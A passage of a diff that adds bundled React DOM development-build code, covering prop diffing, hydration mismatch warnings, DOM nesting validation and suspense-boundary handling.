+                    styleUpdates[styleName] = nextProp[styleName];
+                  }
+                }
+              } else {
+                if (!styleUpdates) {
+                  if (!updatePayload) {
+                    updatePayload = [];
+                  }
+                  updatePayload.push(propKey, styleUpdates);
+                }
+                styleUpdates = nextProp;
+              }
+            } else if (propKey === DANGEROUSLY_SET_INNER_HTML) {
+              var nextHtml = nextProp ? nextProp[HTML$1] : void 0;
+              var lastHtml = lastProp ? lastProp[HTML$1] : void 0;
+              if (nextHtml != null) {
+                if (lastHtml !== nextHtml) {
+                  (updatePayload = updatePayload || []).push(propKey, nextHtml);
+                }
+              }
+            } else if (propKey === CHILDREN) {
+              if (typeof nextProp === "string" || typeof nextProp === "number") {
+                (updatePayload = updatePayload || []).push(propKey, "" + nextProp);
+              }
+            } else if (propKey === SUPPRESS_CONTENT_EDITABLE_WARNING || propKey === SUPPRESS_HYDRATION_WARNING)
+              ;
+            else if (registrationNameDependencies.hasOwnProperty(propKey)) {
+              if (nextProp != null) {
+                if (typeof nextProp !== "function") {
+                  warnForInvalidEventListener(propKey, nextProp);
+                }
+                if (propKey === "onScroll") {
+                  listenToNonDelegatedEvent("scroll", domElement);
+                }
+              }
+              if (!updatePayload && lastProp !== nextProp) {
+                updatePayload = [];
+              }
+            } else {
+              (updatePayload = updatePayload || []).push(propKey, nextProp);
+            }
+          }
+          if (styleUpdates) {
+            {
+              validateShorthandPropertyCollisionInDev(styleUpdates, nextProps[STYLE]);
+            }
+            (updatePayload = updatePayload || []).push(STYLE, styleUpdates);
+          }
+          return updatePayload;
+        }
+        function updateProperties(domElement, updatePayload, tag, lastRawProps, nextRawProps) {
+          if (tag === "input" && nextRawProps.type === "radio" && nextRawProps.name != null) {
+            updateChecked(domElement, nextRawProps);
+          }
+          var wasCustomComponentTag = isCustomComponent(tag, lastRawProps);
+          var isCustomComponentTag = isCustomComponent(tag, nextRawProps);
+          updateDOMProperties(domElement, updatePayload, wasCustomComponentTag, isCustomComponentTag);
+          switch (tag) {
+            case "input":
+              updateWrapper(domElement, nextRawProps);
+              break;
+            case "textarea":
+              updateWrapper$1(domElement, nextRawProps);
+              break;
+            case "select":
+              postUpdateWrapper(domElement, nextRawProps);
+              break;
+          }
+        }
+        function getPossibleStandardName(propName) {
+          {
+            var lowerCasedName = propName.toLowerCase();
+            if (!possibleStandardNames.hasOwnProperty(lowerCasedName)) {
+              return null;
+            }
+            return possibleStandardNames[lowerCasedName] || null;
+          }
+        }
+        function diffHydratedProperties(domElement, tag, rawProps, parentNamespace, rootContainerElement, isConcurrentMode, shouldWarnDev) {
+          var isCustomComponentTag;
+          var extraAttributeNames;
+          {
+            isCustomComponentTag = isCustomComponent(tag, rawProps);
+            validatePropertiesInDevelopment(tag, rawProps);
+          }
+          switch (tag) {
+            case "dialog":
+              listenToNonDelegatedEvent("cancel", domElement);
+              listenToNonDelegatedEvent("close", domElement);
+              break;
+            case "iframe":
+            case "object":
+            case "embed":
+              listenToNonDelegatedEvent("load", domElement);
+              break;
+            case "video":
+            case "audio":
+              for (var i2 = 0; i2 < mediaEventTypes.length; i2++) {
+                listenToNonDelegatedEvent(mediaEventTypes[i2], domElement);
+              }
+              break;
+            case "source":
+              listenToNonDelegatedEvent("error", domElement);
+              break;
+            case "img":
+            case "image":
+            case "link":
+              listenToNonDelegatedEvent("error", domElement);
+              listenToNonDelegatedEvent("load", domElement);
+              break;
+            case "details":
+              listenToNonDelegatedEvent("toggle", domElement);
+              break;
+            case "input":
+              initWrapperState(domElement, rawProps);
+              listenToNonDelegatedEvent("invalid", domElement);
+              break;
+            case "option":
+              validateProps(domElement, rawProps);
+              break;
+            case "select":
+              initWrapperState$1(domElement, rawProps);
+              listenToNonDelegatedEvent("invalid", domElement);
+              break;
+            case "textarea":
+              initWrapperState$2(domElement, rawProps);
+              listenToNonDelegatedEvent("invalid", domElement);
+              break;
+          }
+          assertValidProps(tag, rawProps);
+          {
+            extraAttributeNames = /* @__PURE__ */ new Set();
+            var attributes = domElement.attributes;
+            for (var _i = 0; _i < attributes.length; _i++) {
+              var name = attributes[_i].name.toLowerCase();
+              switch (name) {
+                case "value":
+                  break;
+                case "checked":
+                  break;
+                case "selected":
+                  break;
+                default:
+                  extraAttributeNames.add(attributes[_i].name);
+              }
+            }
+          }
+          var updatePayload = null;
+          for (var propKey in rawProps) {
+            if (!rawProps.hasOwnProperty(propKey)) {
+              continue;
+            }
+            var nextProp = rawProps[propKey];
+            if (propKey === CHILDREN) {
+              if (typeof nextProp === "string") {
+                if (domElement.textContent !== nextProp) {
+                  if (rawProps[SUPPRESS_HYDRATION_WARNING] !== true) {
+                    checkForUnmatchedText(domElement.textContent, nextProp, isConcurrentMode, shouldWarnDev);
+                  }
+                  updatePayload = [CHILDREN, nextProp];
+                }
+              } else if (typeof nextProp === "number") {
+                if (domElement.textContent !== "" + nextProp) {
+                  if (rawProps[SUPPRESS_HYDRATION_WARNING] !== true) {
+                    checkForUnmatchedText(domElement.textContent, nextProp, isConcurrentMode, shouldWarnDev);
+                  }
+                  updatePayload = [CHILDREN, "" + nextProp];
+                }
+              }
+            } else if (registrationNameDependencies.hasOwnProperty(propKey)) {
+              if (nextProp != null) {
+                if (typeof nextProp !== "function") {
+                  warnForInvalidEventListener(propKey, nextProp);
+                }
+                if (propKey === "onScroll") {
+                  listenToNonDelegatedEvent("scroll", domElement);
+                }
+              }
+            } else if (shouldWarnDev && true && typeof isCustomComponentTag === "boolean") {
+              var serverValue = void 0;
+              var propertyInfo = isCustomComponentTag && enableCustomElementPropertySupport ? null : getPropertyInfo(propKey);
+              if (rawProps[SUPPRESS_HYDRATION_WARNING] === true)
+                ;
+              else if (propKey === SUPPRESS_CONTENT_EDITABLE_WARNING || propKey === SUPPRESS_HYDRATION_WARNING || propKey === "value" || propKey === "checked" || propKey === "selected")
+                ;
+              else if (propKey === DANGEROUSLY_SET_INNER_HTML) {
+                var serverHTML = domElement.innerHTML;
+                var nextHtml = nextProp ? nextProp[HTML$1] : void 0;
+                if (nextHtml != null) {
+                  var expectedHTML = normalizeHTML(domElement, nextHtml);
+                  if (expectedHTML !== serverHTML) {
+                    warnForPropDifference(propKey, serverHTML, expectedHTML);
+                  }
+                }
+              } else if (propKey === STYLE) {
+                extraAttributeNames.delete(propKey);
+                if (canDiffStyleForHydrationWarning) {
+                  var expectedStyle = createDangerousStringForStyles(nextProp);
+                  serverValue = domElement.getAttribute("style");
+                  if (expectedStyle !== serverValue) {
+                    warnForPropDifference(propKey, serverValue, expectedStyle);
+                  }
+                }
+              } else if (isCustomComponentTag && !enableCustomElementPropertySupport) {
+                extraAttributeNames.delete(propKey.toLowerCase());
+                serverValue = getValueForAttribute(domElement, propKey, nextProp);
+                if (nextProp !== serverValue) {
+                  warnForPropDifference(propKey, serverValue, nextProp);
+                }
+              } else if (!shouldIgnoreAttribute(propKey, propertyInfo, isCustomComponentTag) && !shouldRemoveAttribute(propKey, nextProp, propertyInfo, isCustomComponentTag)) {
+                var isMismatchDueToBadCasing = false;
+                if (propertyInfo !== null) {
+                  extraAttributeNames.delete(propertyInfo.attributeName);
+                  serverValue = getValueForProperty(domElement, propKey, nextProp, propertyInfo);
+                } else {
+                  var ownNamespace = parentNamespace;
+                  if (ownNamespace === HTML_NAMESPACE) {
+                    ownNamespace = getIntrinsicNamespace(tag);
+                  }
+                  if (ownNamespace === HTML_NAMESPACE) {
+                    extraAttributeNames.delete(propKey.toLowerCase());
+                  } else {
+                    var standardName = getPossibleStandardName(propKey);
+                    if (standardName !== null && standardName !== propKey) {
+                      isMismatchDueToBadCasing = true;
+                      extraAttributeNames.delete(standardName);
+                    }
+                    extraAttributeNames.delete(propKey);
+                  }
+                  serverValue = getValueForAttribute(domElement, propKey, nextProp);
+                }
+                var dontWarnCustomElement = enableCustomElementPropertySupport;
+                if (!dontWarnCustomElement && nextProp !== serverValue && !isMismatchDueToBadCasing) {
+                  warnForPropDifference(propKey, serverValue, nextProp);
+                }
+              }
+            }
+          }
+          {
+            if (shouldWarnDev) {
+              if (extraAttributeNames.size > 0 && rawProps[SUPPRESS_HYDRATION_WARNING] !== true) {
+                warnForExtraAttributes(extraAttributeNames);
+              }
+            }
+          }
+          switch (tag) {
+            case "input":
+              track(domElement);
+              postMountWrapper(domElement, rawProps, true);
+              break;
+            case "textarea":
+              track(domElement);
+              postMountWrapper$3(domElement);
+              break;
+            case "select":
+            case "option":
+              break;
+            default:
+              if (typeof rawProps.onClick === "function") {
+                trapClickOnNonInteractiveElement(domElement);
+              }
+              break;
+          }
+          return updatePayload;
+        }
+        function diffHydratedText(textNode, text, isConcurrentMode) {
+          var isDifferent = textNode.nodeValue !== text;
+          return isDifferent;
+        }
+        function warnForDeletedHydratableElement(parentNode, child) {
+          {
+            if (didWarnInvalidHydration) {
+              return;
+            }
+            didWarnInvalidHydration = true;
+            error("Did not expect server HTML to contain a <%s> in <%s>.", child.nodeName.toLowerCase(), parentNode.nodeName.toLowerCase());
+          }
+        }
+        function warnForDeletedHydratableText(parentNode, child) {
+          {
+            if (didWarnInvalidHydration) {
+              return;
+            }
+            didWarnInvalidHydration = true;
+            error('Did not expect server HTML to contain the text node "%s" in <%s>.', child.nodeValue, parentNode.nodeName.toLowerCase());
+          }
+        }
+        function warnForInsertedHydratedElement(parentNode, tag, props) {
+          {
+            if (didWarnInvalidHydration) {
+              return;
+            }
+            didWarnInvalidHydration = true;
+            error("Expected server HTML to contain a matching <%s> in <%s>.", tag, parentNode.nodeName.toLowerCase());
+          }
+        }
+        function warnForInsertedHydratedText(parentNode, text) {
+          {
+            if (text === "") {
+              return;
+            }
+            if (didWarnInvalidHydration) {
+              return;
+            }
+            didWarnInvalidHydration = true;
+            error('Expected server HTML to contain a matching text node for "%s" in <%s>.', text, parentNode.nodeName.toLowerCase());
+          }
+        }
+        function restoreControlledState$3(domElement, tag, props) {
+          switch (tag) {
+            case "input":
+              restoreControlledState(domElement, props);
+              return;
+            case "textarea":
+              restoreControlledState$2(domElement, props);
+              return;
+            case "select":
+              restoreControlledState$1(domElement, props);
+              return;
+          }
+        }
+        var validateDOMNesting = function() {
+        };
+        var updatedAncestorInfo = function() {
+        };
+        {
+          var specialTags = ["address", "applet", "area", "article", "aside", "base", "basefont", "bgsound", "blockquote", "body", "br", "button", "caption", "center", "col", "colgroup", "dd", "details", "dir", "div", "dl", "dt", "embed", "fieldset", "figcaption", "figure", "footer", "form", "frame", "frameset", "h1", "h2", "h3", "h4", "h5", "h6", "head", "header", "hgroup", "hr", "html", "iframe", "img", "input", "isindex", "li", "link", "listing", "main", "marquee", "menu", "menuitem", "meta", "nav", "noembed", "noframes", "noscript", "object", "ol", "p", "param", "plaintext", "pre", "script", "section", "select", "source", "style", "summary", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "title", "tr", "track", "ul", "wbr", "xmp"];
+          var inScopeTags = [
+            "applet",
+            "caption",
+            "html",
+            "table",
+            "td",
+            "th",
+            "marquee",
+            "object",
+            "template",
+            "foreignObject",
+            "desc",
+            "title"
+          ];
+          var buttonScopeTags = inScopeTags.concat(["button"]);
+          var impliedEndTags = ["dd", "dt", "li", "option", "optgroup", "p", "rp", "rt"];
+          var emptyAncestorInfo = {
+            current: null,
+            formTag: null,
+            aTagInScope: null,
+            buttonTagInScope: null,
+            nobrTagInScope: null,
+            pTagInButtonScope: null,
+            listItemTagAutoclosing: null,
+            dlItemTagAutoclosing: null
+          };
+          updatedAncestorInfo = function(oldInfo, tag) {
+            var ancestorInfo = assign({}, oldInfo || emptyAncestorInfo);
+            var info = {
+              tag
+            };
+            if (inScopeTags.indexOf(tag) !== -1) {
+              ancestorInfo.aTagInScope = null;
+              ancestorInfo.buttonTagInScope = null;
+              ancestorInfo.nobrTagInScope = null;
+            }
+            if (buttonScopeTags.indexOf(tag) !== -1) {
+              ancestorInfo.pTagInButtonScope = null;
+            }
+            if (specialTags.indexOf(tag) !== -1 && tag !== "address" && tag !== "div" && tag !== "p") {
+              ancestorInfo.listItemTagAutoclosing = null;
+              ancestorInfo.dlItemTagAutoclosing = null;
+            }
+            ancestorInfo.current = info;
+            if (tag === "form") {
+              ancestorInfo.formTag = info;
+            }
+            if (tag === "a") {
+              ancestorInfo.aTagInScope = info;
+            }
+            if (tag === "button") {
+              ancestorInfo.buttonTagInScope = info;
+            }
+            if (tag === "nobr") {
+              ancestorInfo.nobrTagInScope = info;
+            }
+            if (tag === "p") {
+              ancestorInfo.pTagInButtonScope = info;
+            }
+            if (tag === "li") {
+              ancestorInfo.listItemTagAutoclosing = info;
+            }
+            if (tag === "dd" || tag === "dt") {
+              ancestorInfo.dlItemTagAutoclosing = info;
+            }
+            return ancestorInfo;
+          };
+          var isTagValidWithParent = function(tag, parentTag) {
+            switch (parentTag) {
+              case "select":
+                return tag === "option" || tag === "optgroup" || tag === "#text";
+              case "optgroup":
+                return tag === "option" || tag === "#text";
+              case "option":
+                return tag === "#text";
+              case "tr":
+                return tag === "th" || tag === "td" || tag === "style" || tag === "script" || tag === "template";
+              case "tbody":
+              case "thead":
+              case "tfoot":
+                return tag === "tr" || tag === "style" || tag === "script" || tag === "template";
+              case "colgroup":
+                return tag === "col" || tag === "template";
+              case "table":
+                return tag === "caption" || tag === "colgroup" || tag === "tbody" || tag === "tfoot" || tag === "thead" || tag === "style" || tag === "script" || tag === "template";
+              case "head":
+                return tag === "base" || tag === "basefont" || tag === "bgsound" || tag === "link" || tag === "meta" || tag === "title" || tag === "noscript" || tag === "noframes" || tag === "style" || tag === "script" || tag === "template";
+              case "html":
+                return tag === "head" || tag === "body" || tag === "frameset";
+              case "frameset":
+                return tag === "frame";
+              case "#document":
+                return tag === "html";
+            }
+            switch (tag) {
+              case "h1":
+              case "h2":
+              case "h3":
+              case "h4":
+              case "h5":
+              case "h6":
+                return parentTag !== "h1" && parentTag !== "h2" && parentTag !== "h3" && parentTag !== "h4" && parentTag !== "h5" && parentTag !== "h6";
+              case "rp":
+              case "rt":
+                return impliedEndTags.indexOf(parentTag) === -1;
+              case "body":
+              case "caption":
+              case "col":
+              case "colgroup":
+              case "frameset":
+              case "frame":
+              case "head":
+              case "html":
+              case "tbody":
+              case "td":
+              case "tfoot":
+              case "th":
+              case "thead":
+              case "tr":
+                return parentTag == null;
+            }
+            return true;
+          };
+          var findInvalidAncestorForTag = function(tag, ancestorInfo) {
+            switch (tag) {
+              case "address":
+              case "article":
+              case "aside":
+              case "blockquote":
+              case "center":
+              case "details":
+              case "dialog":
+              case "dir":
+              case "div":
+              case "dl":
+              case "fieldset":
+              case "figcaption":
+              case "figure":
+              case "footer":
+              case "header":
+              case "hgroup":
+              case "main":
+              case "menu":
+              case "nav":
+              case "ol":
+              case "p":
+              case "section":
+              case "summary":
+              case "ul":
+              case "pre":
+              case "listing":
+              case "table":
+              case "hr":
+              case "xmp":
+              case "h1":
+              case "h2":
+              case "h3":
+              case "h4":
+              case "h5":
+              case "h6":
+                return ancestorInfo.pTagInButtonScope;
+              case "form":
+                return ancestorInfo.formTag || ancestorInfo.pTagInButtonScope;
+              case "li":
+                return ancestorInfo.listItemTagAutoclosing;
+              case "dd":
+              case "dt":
+                return ancestorInfo.dlItemTagAutoclosing;
+              case "button":
+                return ancestorInfo.buttonTagInScope;
+              case "a":
+                return ancestorInfo.aTagInScope;
+              case "nobr":
+                return ancestorInfo.nobrTagInScope;
+            }
+            return null;
+          };
+          var didWarn$1 = {};
+          validateDOMNesting = function(childTag, childText, ancestorInfo) {
+            ancestorInfo = ancestorInfo || emptyAncestorInfo;
+            var parentInfo = ancestorInfo.current;
+            var parentTag = parentInfo && parentInfo.tag;
+            if (childText != null) {
+              if (childTag != null) {
+                error("validateDOMNesting: when childText is passed, childTag should be null");
+              }
+              childTag = "#text";
+            }
+            var invalidParent = isTagValidWithParent(childTag, parentTag) ? null : parentInfo;
+            var invalidAncestor = invalidParent ? null : findInvalidAncestorForTag(childTag, ancestorInfo);
+            var invalidParentOrAncestor = invalidParent || invalidAncestor;
+            if (!invalidParentOrAncestor) {
+              return;
+            }
+            var ancestorTag = invalidParentOrAncestor.tag;
+            var warnKey = !!invalidParent + "|" + childTag + "|" + ancestorTag;
+            if (didWarn$1[warnKey]) {
+              return;
+            }
+            didWarn$1[warnKey] = true;
+            var tagDisplayName = childTag;
+            var whitespaceInfo = "";
+            if (childTag === "#text") {
+              if (/\S/.test(childText)) {
+                tagDisplayName = "Text nodes";
+              } else {
+                tagDisplayName = "Whitespace text nodes";
+                whitespaceInfo = " Make sure you don't have any extra whitespace between tags on each line of your source code.";
+              }
+            } else {
+              tagDisplayName = "<" + childTag + ">";
+            }
+            if (invalidParent) {
+              var info = "";
+              if (ancestorTag === "table" && childTag === "tr") {
+                info += " Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by the browser.";
+              }
+              error("validateDOMNesting(...): %s cannot appear as a child of <%s>.%s%s", tagDisplayName, ancestorTag, whitespaceInfo, info);
+            } else {
+              error("validateDOMNesting(...): %s cannot appear as a descendant of <%s>.", tagDisplayName, ancestorTag);
+            }
+          };
+        }
+        var SUPPRESS_HYDRATION_WARNING$1 = "suppressHydrationWarning";
+        var SUSPENSE_START_DATA = "$";
+        var SUSPENSE_END_DATA = "/$";
+        var SUSPENSE_PENDING_START_DATA = "$?";
+        var SUSPENSE_FALLBACK_START_DATA = "$!";
+        var STYLE$1 = "style";
+        var eventsEnabled = null;
+        var selectionInformation = null;
+        function getRootHostContext(rootContainerInstance) {
+          var type;
+          var namespace;
+          var nodeType = rootContainerInstance.nodeType;
+          switch (nodeType) {
+            case DOCUMENT_NODE:
+            case DOCUMENT_FRAGMENT_NODE: {
+              type = nodeType === DOCUMENT_NODE ? "#document" : "#fragment";
+              var root2 = rootContainerInstance.documentElement;
+              namespace = root2 ? root2.namespaceURI : getChildNamespace(null, "");
+              break;
+            }
+            default: {
+              var container = nodeType === COMMENT_NODE ? rootContainerInstance.parentNode : rootContainerInstance;
+              var ownNamespace = container.namespaceURI || null;
+              type = container.tagName;
+              namespace = getChildNamespace(ownNamespace, type);
+              break;
+            }
+          }
+          {
+            var validatedTag = type.toLowerCase();
+            var ancestorInfo = updatedAncestorInfo(null, validatedTag);
+            return {
+              namespace,
+              ancestorInfo
+            };
+          }
+        }
+        function getChildHostContext(parentHostContext, type, rootContainerInstance) {
+          {
+            var parentHostContextDev = parentHostContext;
+            var namespace = getChildNamespace(parentHostContextDev.namespace, type);
+            var ancestorInfo = updatedAncestorInfo(parentHostContextDev.ancestorInfo, type);
+            return {
+              namespace,
+              ancestorInfo
+            };
+          }
+        }
+        function getPublicInstance(instance) {
+          return instance;
+        }
+        function prepareForCommit(containerInfo) {
+          eventsEnabled = isEnabled();
+          selectionInformation = getSelectionInformation();
+          var activeInstance = null;
+          setEnabled(false);
+          return activeInstance;
+        }
+        function resetAfterCommit(containerInfo) {
+          restoreSelection(selectionInformation);
+          setEnabled(eventsEnabled);
+          eventsEnabled = null;
+          selectionInformation = null;
+        }
+        function createInstance(type, props, rootContainerInstance, hostContext, internalInstanceHandle) {
+          var parentNamespace;
+          {
+            var hostContextDev = hostContext;
+            validateDOMNesting(type, null, hostContextDev.ancestorInfo);
+            if (typeof props.children === "string" || typeof props.children === "number") {
+              var string = "" + props.children;
+              var ownAncestorInfo = updatedAncestorInfo(hostContextDev.ancestorInfo, type);
+              validateDOMNesting(null, string, ownAncestorInfo);
+            }
+            parentNamespace = hostContextDev.namespace;
+          }
+          var domElement = createElement2(type, props, rootContainerInstance, parentNamespace);
+          precacheFiberNode(internalInstanceHandle, domElement);
+          updateFiberProps(domElement, props);
+          return domElement;
+        }
+        function appendInitialChild(parentInstance, child) {
+          parentInstance.appendChild(child);
+        }
+        function finalizeInitialChildren(domElement, type, props, rootContainerInstance, hostContext) {
+          setInitialProperties(domElement, type, props, rootContainerInstance);
+          switch (type) {
+            case "button":
+            case "input":
+            case "select":
+            case "textarea":
+              return !!props.autoFocus;
+            case "img":
+              return true;
+            default:
+              return false;
+          }
+        }
+        function prepareUpdate(domElement, type, oldProps, newProps, rootContainerInstance, hostContext) {
+          {
+            var hostContextDev = hostContext;
+            if (typeof newProps.children !== typeof oldProps.children && (typeof newProps.children === "string" || typeof newProps.children === "number")) {
+              var string = "" + newProps.children;
+              var ownAncestorInfo = updatedAncestorInfo(hostContextDev.ancestorInfo, type);
+              validateDOMNesting(null, string, ownAncestorInfo);
+            }
+          }
+          return diffProperties(domElement, type, oldProps, newProps);
+        }
+        function shouldSetTextContent(type, props) {
+          return type === "textarea" || type === "noscript" || typeof props.children === "string" || typeof props.children === "number" || typeof props.dangerouslySetInnerHTML === "object" && props.dangerouslySetInnerHTML !== null && props.dangerouslySetInnerHTML.__html != null;
+        }
+        function createTextInstance(text, rootContainerInstance, hostContext, internalInstanceHandle) {
+          {
+            var hostContextDev = hostContext;
+            validateDOMNesting(null, text, hostContextDev.ancestorInfo);
+          }
+          var textNode = createTextNode(text, rootContainerInstance);
+          precacheFiberNode(internalInstanceHandle, textNode);
+          return textNode;
+        }
+        function getCurrentEventPriority() {
+          var currentEvent = window.event;
+          if (currentEvent === void 0) {
+            return DefaultEventPriority;
+          }
+          return getEventPriority(currentEvent.type);
+        }
+        var scheduleTimeout = typeof setTimeout === "function" ? setTimeout : void 0;
+        var cancelTimeout = typeof clearTimeout === "function" ? clearTimeout : void 0;
+        var noTimeout = -1;
+        var localPromise = typeof Promise === "function" ? Promise : void 0;
+        var scheduleMicrotask = typeof queueMicrotask === "function" ? queueMicrotask : typeof localPromise !== "undefined" ? function(callback) {
+          return localPromise.resolve(null).then(callback).catch(handleErrorInNextTick);
+        } : scheduleTimeout;
+        function handleErrorInNextTick(error2) {
+          setTimeout(function() {
+            throw error2;
+          });
+        }
+        function commitMount(domElement, type, newProps, internalInstanceHandle) {
+          switch (type) {
+            case "button":
+            case "input":
+            case "select":
+            case "textarea":
+              if (newProps.autoFocus) {
+                domElement.focus();
+              }
+              return;
+            case "img": {
+              if (newProps.src) {
+                domElement.src = newProps.src;
+              }
+              return;
+            }
+          }
+        }
+        function commitUpdate(domElement, updatePayload, type, oldProps, newProps, internalInstanceHandle) {
+          updateProperties(domElement, updatePayload, type, oldProps, newProps);
+          updateFiberProps(domElement, newProps);
+        }
+        function resetTextContent(domElement) {
+          setTextContent(domElement, "");
+        }
+        function commitTextUpdate(textInstance, oldText, newText) {
+          textInstance.nodeValue = newText;
+        }
+        function appendChild(parentInstance, child) {
+          parentInstance.appendChild(child);
+        }
+        function appendChildToContainer(container, child) {
+          var parentNode;
+          if (container.nodeType === COMMENT_NODE) {
+            parentNode = container.parentNode;
+            parentNode.insertBefore(child, container);
+          } else {
+            parentNode = container;
+            parentNode.appendChild(child);
+          }
+          var reactRootContainer = container._reactRootContainer;
+          if ((reactRootContainer === null || reactRootContainer === void 0) && parentNode.onclick === null) {
+            trapClickOnNonInteractiveElement(parentNode);
+          }
+        }
+        function insertBefore(parentInstance, child, beforeChild) {
+          parentInstance.insertBefore(child, beforeChild);
+        }
+        function insertInContainerBefore(container, child, beforeChild) {
+          if (container.nodeType === COMMENT_NODE) {
+            container.parentNode.insertBefore(child, beforeChild);
+          } else {
+            container.insertBefore(child, beforeChild);
+          }
+        }
+        function removeChild(parentInstance, child) {
+          parentInstance.removeChild(child);
+        }
+        function removeChildFromContainer(container, child) {
+          if (container.nodeType === COMMENT_NODE) {
+            container.parentNode.removeChild(child);
+          } else {
+            container.removeChild(child);
+          }
+        }
+        function clearSuspenseBoundary(parentInstance, suspenseInstance) {
+          var node = suspenseInstance;
+          var depth = 0;
+          do {
+            var nextNode = node.nextSibling;
+            parentInstance.removeChild(node);
+            if (nextNode && nextNode.nodeType === COMMENT_NODE) {
+              var data = nextNode.data;
+              if (data === SUSPENSE_END_DATA) {
+                if (depth === 0) {
+                  parentInstance.removeChild(nextNode);
+                  retryIfBlockedOn(suspenseInstance);
+                  return;
+                } else {
+                  depth--;
+                }
+              } else if (data === SUSPENSE_START_DATA || data === SUSPENSE_PENDING_START_DATA || data === SUSPENSE_FALLBACK_START_DATA) {
+                depth++;
+              }
+            }
+            node = nextNode;
+          } while (node);
+          retryIfBlockedOn(suspenseInstance);
+        }
+        function clearSuspenseBoundaryFromContainer(container, suspenseInstance) {
+          if (container.nodeType === COMMENT_NODE) {
+            clearSuspenseBoundary(container.parentNode, suspenseInstance);
+          } else if (container.nodeType === ELEMENT_NODE) {
+            clearSuspenseBoundary(container, suspenseInstance);
+          }
+          retryIfBlockedOn(container);
+        }
+        function hideInstance(instance) {
+          instance = instance;
+          var style2 = instance.style;
+          if (typeof style2.setProperty === "function") {
+            style2.setProperty("display", "none", "important");
+          } else {
+            style2.display = "none";
+          }
+        }
+        function hideTextInstance(textInstance) {
+          textInstance.nodeValue = "";
+        }
+        function unhideInstance(instance, props) {
+          instance = instance;
+          var styleProp = props[STYLE$1];
+          var display = styleProp !== void 0 && styleProp !== null && styleProp.hasOwnProperty("display") ? styleProp.display : null;
+          instance.style.display = dangerousStyleValue("display", display);
+        }
+        function unhideTextInstance(textInstance, text) {
+          textInstance.nodeValue = text;
+        }
+        function clearContainer(container) {
+          if (container.nodeType === ELEMENT_NODE) {
+            container.textContent = "";
+          } else if (container.nodeType === DOCUMENT_NODE) {
+            if (container.documentElement) {
+              container.removeChild(container.documentElement);
+            }
+          }
+        }
+        function canHydrateInstance(instance, type, props) {
+          if (instance.nodeType !== ELEMENT_NODE || type.toLowerCase() !== instance.nodeName.toLowerCase()) {
+            return null;
+          }
+          return instance;
+        }
+        function canHydrateTextInstance(instance, text) {
+          if (text === "" || instance.nodeType !== TEXT_NODE) {
+            return null;
+          }
+          return instance;
+        }
+        function canHydrateSuspenseInstance(instance) {
+          if (instance.nodeType !== COMMENT_NODE) {
+            return null;
+          }
+          return instance;
+        }
+        function isSuspenseInstancePending(instance) {
+          return instance.data === SUSPENSE_PENDING_START_DATA;
+        }
+        function isSuspenseInstanceFallback(instance) {
+          return instance.data === SUSPENSE_FALLBACK_START_DATA;
+        }
+        function getSuspenseInstanceFallbackErrorDetails(instance) {
+          var dataset = instance.nextSibling && instance.nextSibling.dataset;
+          var digest, message, stack;
+          if (dataset) {
+            digest = dataset.dgst;
+            {
+              message = dataset.msg;
+              stack = dataset.stck;
+            }
+          }
+          {
+            return {
+              message,
+              digest,
+              stack
+            };
+          }
+        }
+        function registerSuspenseInstanceRetry(instance, callback) {
+          instance._reactRetry = callback;
+        }
+        function getNextHydratable(node) {
+          for (; node != null; node = node.nextSibling) {
+            var nodeType = node.nodeType;
+            if (nodeType === ELEMENT_NODE || nodeType === TEXT_NODE) {
+              break;
+            }
+            if (nodeType === COMMENT_NODE) {
+              var nodeData = node.data;
+              if (nodeData === SUSPENSE_START_DATA || nodeData === SUSPENSE_FALLBACK_START_DATA || nodeData === SUSPENSE_PENDING_START_DATA) {
+                break;
+              }
+              if (nodeData === SUSPENSE_END_DATA) {
+                return null;
+              }
+            }
+          }
+          return node;
+        }
+        function getNextHydratableSibling(instance) {
+          return getNextHydratable(instance.nextSibling);
+        }
+        function getFirstHydratableChild(parentInstance) {
+          return getNextHydratable(parentInstance.firstChild);
+        }
+        function getFirstHydratableChildWithinContainer(parentContainer) {
+          return getNextHydratable(parentContainer.firstChild);
+        }
+        function getFirstHydratableChildWithinSuspenseInstance(parentInstance) {
+          return getNextHydratable(parentInstance.nextSibling);
+        }
+        function hydrateInstance(instance, type, props, rootContainerInstance, hostContext, internalInstanceHandle, shouldWarnDev) {
+          precacheFiberNode(internalInstanceHandle, instance);
+          updateFiberProps(instance, props);
+          var parentNamespace;
+          {
+            var hostContextDev = hostContext;
+            parentNamespace = hostContextDev.namespace;
+          }
+          var isConcurrentMode = (internalInstanceHandle.mode & ConcurrentMode) !== NoMode;
+          return diffHydratedProperties(instance, type, props, parentNamespace, rootContainerInstance, isConcurrentMode, shouldWarnDev);
+        }
+        function hydrateTextInstance(textInstance, text, internalInstanceHandle, shouldWarnDev) {
+          precacheFiberNode(internalInstanceHandle, textInstance);
+          var isConcurrentMode = (internalInstanceHandle.mode & ConcurrentMode) !== NoMode;
+          return diffHydratedText(textInstance, text);
+        }
+        function hydrateSuspenseInstance(suspenseInstance, internalInstanceHandle) {
+          precacheFiberNode(internalInstanceHandle, suspenseInstance);
+        }
+        function getNextHydratableInstanceAfterSuspenseInstance(suspenseInstance) {
+          var node = suspenseInstance.nextSibling;
+          var depth = 0;
+          while (node) {
+            if (node.nodeType === COMMENT_NODE) {
+              var data = node.data;
+              if (data === SUSPENSE_END_DATA) {
+                if (depth === 0) {
+                  return getNextHydratableSibling(node);
+                } else {
+                  depth--;
+                }
+              } else if (data === SUSPENSE_START_DATA || data === SUSPENSE_FALLBACK_START_DATA || data === SUSPENSE_PENDING_START_DATA) {
+                depth++;
+              }
+            }
+            node = node.nextSibling;
+          }
+          return null;
+        }
+        function getParentSuspenseInstance(targetInstance) {
+          var node = targetInstance.previousSibling;
+          var depth = 0;
+          while (node) {
+            if (node.nodeType === COMMENT_NODE) {
+              var data = node.data;
+              if (data === SUSPENSE_START_DATA || data === SUSPENSE_FALLBACK_START_DATA || data === SUSPENSE_PENDING_START_DATA) {
+                if (depth === 0) {
+                  return node;
+                } else {
+                  depth--;
+                }
+              } else if (data === SUSPENSE_END_DATA) {
+                depth++;
+              }
+            }
+            node = node.previousSibling;
+          }
+          return null;
+        }
+        function commitHydratedContainer(container) {
+          retryIfBlockedOn(container);
+        }
+        function commitHydratedSuspenseInstance(suspenseInstance) {
+          retryIfBlockedOn(suspenseInstance);
+        }
+        function shouldDeleteUnhydratedTailInstances(parentType) {
+          return parentType !== "head" && parentType !== "body";
+        }
